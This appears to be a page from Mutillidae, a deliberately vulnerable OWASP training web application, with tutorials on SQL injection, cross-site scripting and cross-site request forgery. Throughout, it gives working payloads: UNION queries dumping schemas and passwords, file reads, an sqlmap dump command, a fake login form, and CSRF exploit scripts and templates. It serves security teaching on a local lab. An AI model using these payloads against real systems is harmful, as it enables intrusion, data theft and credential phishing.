Mutillidae: Born to be Hacked
Version: 2.1.19 Not Logged In
Home Login/Register Toggle Security Reset DB View Log View Captured Data

OWASP
Site hacked...err...quality-tested with Samurai WTF, Backtrack, Firefox, Burp-Suite, Netcat, and these Mozilla Add-ons
 
 
 
 
Developed by Adrian "Irongeek" Crenshaw and Jeremy Druin
Register for an Account
Please choose your username, password and signature
Username
Password
Confirm Password
Signature
Hints
  • For XSS:XSS is easy stuff. This one shows off stored XSS (someone can run across it later in another app that uses the same database). Check out the "User Info" page for the results of this stored XSS. "<script>alert("XSS");</script>" is the classic XSS demo, but there are far more interesting things you could do which I plan show in a video later. Also, check out Rsnake's XSS Cheet Sheet for more ways you can encode XSS attacks that may allow you to get around some filters.
  • For SQL Injection: Mostly errors, but they reveal too much information about the application.
  • Try SQL injection probing by entering single-quotes, double-quotes, paranthesis, double-dash (--), hyphen-asterik (/*), and closing-parenthesis-hyphen-hyphen ()--)
 
SQL Injection Tutorial

General Steps

  1. Determine if SQL injection exists
    • Try injecting characters reserved in databases to produce error messages

      single-quote
      back-slash
      double-hyphen
      forward-slash
      period


    • If error message is produces, examine message for helpful errors, queries, database brand, columns, tables or other information.
    • If no error message present, send valid data, "true" injections ("or 1=1") and "false" injections ("and 1=0"). Look for difference in the three responses

      Technique: Blind SQL Injection - True and False Values
      Field: username
      True Value (Using Proxy): ' or 1=1 --
      False Value (Using Proxy): ' and 1=0 --

    • If no errors nor differences are produced, try timing attacks ("mysql sleep(), sql server waitfor(), oracle sleep()")

      ' union Select null, null, null, sleep(5) --

  2. Determine injection types that work
    • UNION statements
      • Determine number of columns in application query. Inject NULL columns until injected query works.
      • Determine position of a varchar or equivalent column
      • Use position of found column(s) to place injected columns. Use NULL for rest
    • Inline injection
      • Usually happens when ORDER BY or HAVING clause present in application query
    • Timing injection

      Technique: Blind SQL Injection - Timing
      Page: login.php
      Field: username
      Value (Using Proxy): ' union Select null, case SUBSTRING(current_user(),1,1) when 'r' THEN sleep(5) ELSE sleep(0) END, null, null --
      Value (Using Direct Request): username=%27%20union%20Select%20null%2C%20case%20SUBSTRING%28current_user%28%29%2C1%2C1%29%20when%20%27r%27%20THEN%20sleep%285%29%20ELSE%20sleep%280%29%20END%2C%20null%2C%20null%20--%20&password=&login-php-submit-button=1


  3. Attempt to determine database server brand

    Technique: Direct Injection
    Page: user-info.php
    Field: username
    Value (Using Proxy): ' union select null,VERSION() AS username,null,null --

  4. Formulate and test query
  5. Attempt to determine database name

    Technique: Direct Injection
    Page: user-info.php
    Field: username
    Value (Using Proxy): ' union select null,DATABASE() AS username,null,null --

  6. Attempt to determine schema name

    Technique: Direct Injection
    Page: user-info.php
    Field: username
    Value (Using Proxy): ' union select null,table_schema AS username,null,null from INFORMATION_SCHEMA.TABLES--

  7. Attempt to determine table(s) names

    Technique: Direct Injection
    Page: user-info.php
    Field: username
    Value (Using Proxy): ' union select null,table_schema AS username,table_name AS password,null from INFORMATION_SCHEMA.TABLES--

  8. Attempt to determine column(s) names

    Technique: Direct Injection
    Recon: Extract table columns from database using a single field
    Page: user-info.php
    Field: Username
    Value: ' union select null,concat_ws('.', table_schema, table_name, column_name) AS username,null,null from INFORMATION_SCHEMA.COLUMNS--

  9. Attempt to extract data

    Technique: Direct Injection
    Page: user-info.php
    Field: Username
    Value: ' union select null, owasp10.accounts.username AS username, owasp10.accounts.password AS password, null from owasp10.accounts --

  10. Attempt to read files from server

    Technique: Direct Injection
    Page: user-info.php
    Field: username
    Value (relative path):
    ' union select null, LOAD_FILE('../README') AS username, null, null--

    Value (absolute path):
    ' union select null, LOAD_FILE('..\\..\\..\\..\\WINDOWS\\system32\\drivers\\etc\\hosts') AS username, null, null--
    ' union select null, LOAD_FILE('..\\..\\..\\..\\WINDOWS\\inf\\cpu.inf') AS username, null, null--

  11. Attempt to upload files to server
  12. Attempt to execute commands. This is easier on SQL Server 2000 and 2005. MySQL has limited system command abilities. SQL Server 2008 disables system commands by default and requires them to be enabled.
  13. Attempt to determine database computer name, IP address, username, version, etc.

    MySQL Functions:
    VERSION() - MySQL server version
    USER() - Database user issuing query
    DATABASE() - Database on server against which query is running
  14. Attempt to pivot to database server level. This will largely depend on either being able to execute system commands via the database server or upload files to the file system. Uploading files would allow web application pages to be uploaded which can contain system calls.

Reconnaissance

Error messages can be excellent sources of information. Developers are often naive about error messages and allow their apps to display errors rather than log the errors privately or email them to support staff. Secure sites use custom error pages that display no error messages. Finding an error message with respect to SQLi typically involves malforming the query on purpose. Special characters can get the job done. Single-quotes and parenthesis often cause errors in SQL Server, Oracle and MySQL databases. Dont forget to use different encodings of each character to see if that makes a difference. For example, try URL encoding, hex, etc. Try those first, then move onto any character that is not alpha-numeric.

Hint: Go to the documentation for ANSI-SQL, Oracle, SQL Server, and MySQL to see which characters are reserved in those respective systems. (ANSI-SQL is the "common" SQL shared by all compliant databases.) In particular, determine what are the comment symbols for the respective systems.

Try to find out what type of database is behind the application. Knowing if the database is Oracle, SQL Server, or MySQL can help a lot. Each has its own meta-tables, functions, system tables, system procedures, and vulnerabilities. If the database is SQL Server or MySQL, investigate the INFORMATION_SCHEMA and understand the built-in functions/procedures. They both implement this SQL-92 standard structure. Oracle uses non-standard "Oracle Data Dictionary" views. As of the date of this document, there is an awesome listing at http://ss64.com/orad/.

Sometimes the type of database can be infered by its behavior. For example, SQL Server and MySQL both use "--" (double-hyphen) as the comment symbols; however, MySQL requires a space betwwen the comment symbol and the next character.

This statement is a valid SQL injection against either SQL Server or MySQL:
' union select/**/name/**/FROM/**/INFORMATION_SCHEMA.TABLES--
MySQL can be identified by whether the injection requires a space on the end. Oracle and SQL Server do not care if there is a space at the end of the injection or not. But MySQL needs the space on the end. (At least when used with PHP.)
' union select name FROM INFORMATION_SCHEMA.TABLES-- (<-- space required here)
Determine the page capibilities. If the page displays database records, standard SQL injection is probably the better tool. If the page processes queries but does not display query output (i.e. - a login page), then blind SQLi may be the better tool.

Use the page normally and observe the behavior. For example, log into Mutillidae. Does Mutillidae display any information from the database because you log-in? (No) What happens when using page user-info.php? Does any data displaywhen using page user-info.php? (Yes) The login page is likely going to be a better candidate for blind SQL injection while user-info.php is likely a better candidate for direct SQL injection.

Scanning

Get specifications on database software (Example Page: user-info.php)
' union select null, database(), current_user(), version() --
If the meta-tables are available, they can footprint the database structure making the next steps much more productive.

Check the documentation for Oracle, MySQL, and SQL Server. Determine the meta-table structures, table/view names, and column names. If the database is SQL Server or MySQL, investigate the INFORMATION_SCHEMA and understand the built-in functions/procedures. They both implement this SQL-92 standard structure. Oracle uses non-standard "Oracle Data Dictionary" views. As of the date of this document, there is an awesome listing at http://ss64.com/orad/.

Extract table names from database. (Example Page: user-info.php)
' union select null,table_schema AS username,table_name AS password,null from INFORMATION_SCHEMA.TABLES--
Extract table columns from database using a single field (Example Page: user-info.php)
' union select null,concat_ws('.', table_schema, table_name, column_name) AS username,null,null from INFORMATION_SCHEMA.COLUMNS--
Extract views from database (Example Page: user-info.php)
' union select null,concat_ws('.', COALESCE(table_schema,''), COALESCE(table_name,''), COALESCE(view_definition,'')) AS username,null,null from INFORMATION_SCHEMA.VIEWS--
Extract triggers from database (Example Page: user-info.php)
' union select null,concat_ws('.', trigger_schema, trigger_name) AS username,null,null from INFORMATION_SCHEMA.TRIGGERS--
Extract routines/procs from database (Example Page: user-info.php)
' union select null,concat_ws('.', routine_schema, routine_name, routine_type, routine_body) AS username,null,null from INFORMATION_SCHEMA.ROUTINES--
Extract table columns from database (Example Page: user-info.php)
' union select null,concat_ws('.', table_schema, table_name, column_name) AS username,null,null from INFORMATION_SCHEMA.COLUMNS union select null,concat_ws('.', routine_schema, routine_name, routine_type, routine_body) AS username,null,null from INFORMATION_SCHEMA.ROUTINES union select null,concat_ws('.', table_schema, table_name, view_definition) AS username,null,null from INFORMATION_SCHEMA.VIEWS union select null,concat_ws('.', trigger_schema, trigger_name) AS username,null,null from INFORMATION_SCHEMA.TRIGGERS--
Blind SQL injection does not depend on seeing any resulting records. Instead, page timing can be used.

Blind SQL Injection/Brute Forcing values (Example Page: login.php)
' union Select null, case current_user() when 'root@localhost' THEN sleep(5) ELSE sleep(0) END, null, null --
Gaining Access

Extract passwords from user table (Example Page: user-info.php)
' union select null, owasp10.accounts.username AS username, owasp10.accounts.password AS password, null from owasp10.accounts --
Using SQL Injection (Page: login.php)
' or 1=1 --
Using SQLMAP to dump database (Page: view-someones-blog.php)
python sqlmap.py --url="http://192.168.56.101/mutillidae/index.php?page=view-someones-blog.php" --data="author=6C57C4B5-B341-4539-977B-7ACB9D42985A&view-someones-blog-php-submit-button=View+Blog+Entries" --level=1 --beep --dump
 
Cross-Site Scripting Tutorial

Cross-Site Scripting occurs because a script is displayed in page output but is not properly encoded. Because of the lack of proper encoding, the browser will execute the script rather than display it as data. Pages that encode all dynamic output are generally immune. The page will simply display the script as text rather than execute the script as code.

The first step to Cross-Site Scripting is to determine which of the sites input is displayed as output. Some input is immediately output on the same or next page. These pages are candidates for reflected Cross-Site Scripting. Some input may be stored in a database and output later on the appropriate page. These situations may be ripe for the most dangerous type of XSS; persistent XSS.

Developers may treat input from forms carefully, while completely ignoring input passed via URL Query Parameters, Cookies, HTTP Headers, Logs, Emails, etc. The key is to encode ALL output and not just output that came into the site via forms/POST.

Discovery Methodology

Step 1: For each page under scrutiny, enter a unique string into each form field, url query parameter, cookie value, HTTP Header, etc., record which value has which unique string, submit the page, then observe the resulting page to see if any of your unique strings appeared. Upon finding a unique string, note which value had contained that string and record this on your map.

Unfortunately the input could end up as output on any page within the site, all pages within the site, or none of them. If the values are not reflected immediately but presented on a later page (for example in search results) then it should be assumed the value is stored in a database.

Step 2:The second step is to test all the input locations from step #1 with various scripts, css, html tags, etc. and observe the resulting output. If the site fails to encode output, it is a candidate for XSS.

Methodology: Enter interesting characters such as angle brackets for HTMLi and XSS, Cascading style sheet symbols, etc. to see if the site encodes this output. If the site does not encode output, try inserting XSS, CSS, HTML, etc. and watch for execution. If the site has a WAF, this is likely the point at which you will detect the WAF presence.

Examples

Many examples can be found at http://ha.ckers.org/xss.html

This example is of stealing a cookie. This could be reflected or persistent. To make this persistent, try to get the script stored into a database field which is later output onto a web page.

<script>alert('Cookies which do not have the HTTPOnly attribute set: ' + document.cookie);</script>

Same example with the single-quotes escaped for databases such as MySQL. This allows the XSS to be stored in the database. When the web site (or another site) pulls the XSS from the database at a later time, it will be served with the site content.

<script>alert(\'Cookies which do not have the HTTPOnly attribute set: \' + document.cookie);</script>

Cross site scripting will work in any unencoded output. It does not matter if the value being output initially came from a form field (usually POST) or URL parameteres (GET). If fact the value can come from any source. For example, if a web page outputs the user-agent string in whole or part, you can use a tool such as User-Agent Switcher plug-in for Firefox to attempt XSS via the User-Agent HTTP Header. Any HTTP Header can be forged with or without tools. If you would like to forge an HTTP Header without tools, try Netcat. Other options include intercepting and changing the web request after the request leaves the browser. Burp Suite is an excellent tool to try on your own machine. Try changing the user-agent to the XSS examples on this page. Also, try this sample HTML injection. The XSS could be directly placed into the database then pulled later. This can happen from a hacked database, a rouge DBA, or via SQL injection such as with ASPROX. This is why output encoding is a better defense than input validation for XSS. If the XSS makes it into the database but never has to pass through the validation to get there, input validation will not work.

<h1>Sorry. There has been a system error.<br /><br />Please login again</h1><br/>Username<input type="text"><br/>Password<input type="text"><br/><br/><input type="submit" value="Submit"><h1>&nbsp;</h1>
 
 
Cross-Site Request Forgery Tutorial

(One of many) CSRF Testing Methodology

  1. Obtain permission to test
  2. Identify a sensitive transaction which is in test scope
  3. Execute the transaction (request) using an interception proxy
    • There is no requirement to forward the request. Capture is sufficient.
  4. Identify the key information in the request
    • Request method
    • Action page
    • Input parameters
  5. Create a "requesting script" which will perform the same request without requiring a user to submit the transaction (i.e. - click the Submit button)
    • Use the template below. Fill in the $areas$ surrounded by the dollar signs.
  6. Authenticate to the target site and leave the browser open
  7. Save the "requesting script" to an HTML document and open the document in a browser.
  8. View the target site or observer the response to verify the transaction completed
    • One way to acomplish this using a tool is to use the "Repeater" tab of Burp. The repeater allows requests to be tried and tweaked until successful. The "render" feature in the response pane aids in seeing if the request succeeded.

(One of many) General CSRF Exploitation Methodology

  1. Refering to the script created above (if it was possible to authenticate to the site for testing)
    • otherwise create the script
  2. Locate an injection vulnerability in any site the user may visit while authenticated to target site
    • Alternatively load the script on a site under control and have the user visit the controlled site
  3. Inject the "requesting script" into the "carrier" page. This could be a persistent XSS or javascript injection into an event action (i.e. - onload, onmouseover)
  4. Visit the poisoned page to verify the script sends the request to perform the transaction
  5. Verify the transaction completed

Exploiting Cross Site Request Forgery in Mutillidae

Virtually all pages are vulnerable although not all pages contain transactions and not all transactions are sensitive. Possibilities include adding a blog entry for the current user without them having to visit the "Add Blog" page or registering a new account of your choice by having the user visit an infected page.

We already have permission to test Mutillidae assuming it is installed on your local machine. Lets assume that adding a new user account to Mutillidae is a sensitive transaction. Using the registration process as an example, start by capturing a request. One way to capture a request is by using the Burp interception proxy. This tool is preloaded if using the Samurai Web Testing Framework or Backtrack. Register a new user account with Burp running and interception enabled.

Here is a sample request captured using Burp on Samurai:

POST /index.php?page=register.php HTTP/1.1 Host: mutillidae User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://mutillidae/index.php?page=register.php Cookie: PHPSESSID=1a28b85b825be0e5c9dc2789c63a3b44 Content-Type: application/x-www-form-urlencoded Content-Length: 122 username=username1&;password=pass1&confirm_password=pass1&my_signature=signature1&register-php-submit-button=Create+Account

Note the method, action, and input parameters. Use the CSRF template to create an HTML form injection that can send this request. Here is an example to create a user "sammy" with password "samurai".

<!--/* The following is an attempt at humor; albeit a very poor attempt. People often ask "What is the password for samurai?". The answer is below. Be careful to escape single-quotes if inserting into MySQL. This example has the single quotes MySQL escaped (' -> \'). The try/catch is just to help you debug. This is not intended to be used when pen testing because if the exploit fails the user is going to be notified. */--> <form id="CSRF" method="POST" action="/index.php?page=register.php"> <input name="username" value="sammy" type="hidden" /> <input name="password" value="samurai" type="hidden" /> <input name="confirm_password" value="samurai" type="hidden" /> <input name="my_signature" value="The password is samurai" type="hidden" /> <input name="register-php-submit-button" value="Create+Account" type="hidden" /> </form> <span onmouseover="try{var lURL=document.location.href;document.getElementById(\'CSRF\').submit();document.location.href=lURL;}catch(e){alert(e.message);}">Hello World</span>

On the Add to your Blog page (http://mutillidae/index.php?page=add-to-your-blog.php), inject this exploit as a new blog. On either the Add Blog or the View Blog page, carefully mouseover the blog text and watch for the page to reload. Try to log in with the new user. Trap requests with an interception proxy like Burp to watch the actual request. Submit the request with XHR to get rid of that pesky page reload which could alert the user. When using XHR, use an interception proxy to watch the request and the response. Otherwise you wont notice.

Here is the same example using XHR rather than the "onmouseover" event:

<script> var lXMLHTTP; try{ var lData = "username=fred&password=pass&confirm_password=pass&my_signature=signature1&register-php-submit-button=Create+Account"; var lAction = "/index.php?page=register.php"; var lMethod = "POST"; try { lXMLHTTP = new ActiveXObject("Msxml2.XMLHTTP"); }catch (e) { try { lXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP"); }catch (e) { try { lXMLHTTP = new XMLHttpRequest(); }catch (e) { alert(e.message);//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST. } } }//end try lXMLHTTP.onreadystatechange = function(){ if(lXMLHTTP.readyState == 4){ alert("CSRF Complete");//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST. } } ///////////////////////////// //UNCOMMENT FOR GET REQUESTS ///////////////////////////// //xmlhttp.open(lMethod, lAction, true); //lData=""; ///////////////////////////// ///////////////////////////// //UNCOMMENT FOR POST REQUESTS ///////////////////////////// lXMLHTTP.open(lMethod, lAction, true); lXMLHTTP.setRequestHeader("Method", "POST " + lAction + " HTTP/1.1"); lXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); ///////////////////////////// lXMLHTTP.send(lData); }catch(e){ alert(e.message);//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST. } </script>

Appendix A - CSRF Templates

/* HTML Injection based CSRF template */ <form id="CSRFForm" method="$REQUEST-METHOD-HERE$" action="$SUBMIT-ACTION-PAGE-HERE$"> $FOR-EACH-REQUEST-INPUT-PARAMETER$ <input type="hidden" name="$PARAMETER-NAME$" value="$PARAMETER-VALUE$" /> $END-FOR$ </form> /* Now choose an event which when triggered will submit the form. Here are some examples */ <body onload='window.document.getElementById("CSRFForm").submit();'> <span onmouseover='window.document.getElementById("CSRFForm").submit();'>Hello World</span> /* JavaScript Injection based CSRF template */ /* NOTE: Script tags are only needed if injection is into HTML context. If injecting into JavaScript context, do not include script tags. */ <script> var lCSRFForm = window.document.createElement("form"); lCSRFForm.name="CSRFForm"; lCSRFForm.method="$REQUEST-METHOD-HERE$"; lCSRFForm.action="$SUBMIT-ACTION-PAGE-HERE$" $FOR-EACH-REQUEST-INPUT-PARAMETER$ var lInput = document.createElement("input"); lInput.type="hidden"; lInput.name="$PARAMETER-NAME$"; lInput.value="$PARAMETER-VALUE$"; lCSRFForm.appendChild(lInput); $END-FOR$ window.document.appendChild(lCSRFForm); lCSRFForm.submit(); </script> <script> var lXMLHTTP; try{ var lData = "$THE-ENTIRE-POST-PARAMETER-STRING-COPIED-FROM-REQUEST-OR-TYPED-IN$"; var lAction = "$SUBMIT-ACTION-PAGE-HERE$"; var lMethod = "$REQUEST-METHOD-HERE$"; try { lXMLHTTP = new ActiveXObject("Msxml2.XMLHTTP"); }catch (e) { try { lXMLHTTP = new ActiveXObject("Microsoft.XMLHTTP"); }catch (e) { try { lXMLHTTP = new XMLHttpRequest(); }catch (e) { alert(e.message);//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST. } } }//end try lXMLHTTP.onreadystatechange = function(){ if(lXMLHTTP.readyState == 4){ alert("CSRF Complete");//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST. } } ///////////////////////////// //UNCOMMENT FOR GET REQUESTS ///////////////////////////// //xmlhttp.open(lMethod, lAction, true); //lData=""; ///////////////////////////// ///////////////////////////// //UNCOMMENT FOR POST REQUESTS ///////////////////////////// lXMLHTTP.open(lMethod, lAction, true); lXMLHTTP.setRequestHeader("Method", "POST " + lAction + " HTTP/1.1"); lXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); lXMLHTTP.send(lData); }catch(e){ alert(e.message);//THIS LINE IS TESTING AND DEMONSTRATION ONLY. DO NOT INCLUDE IN PEN TEST. } </script>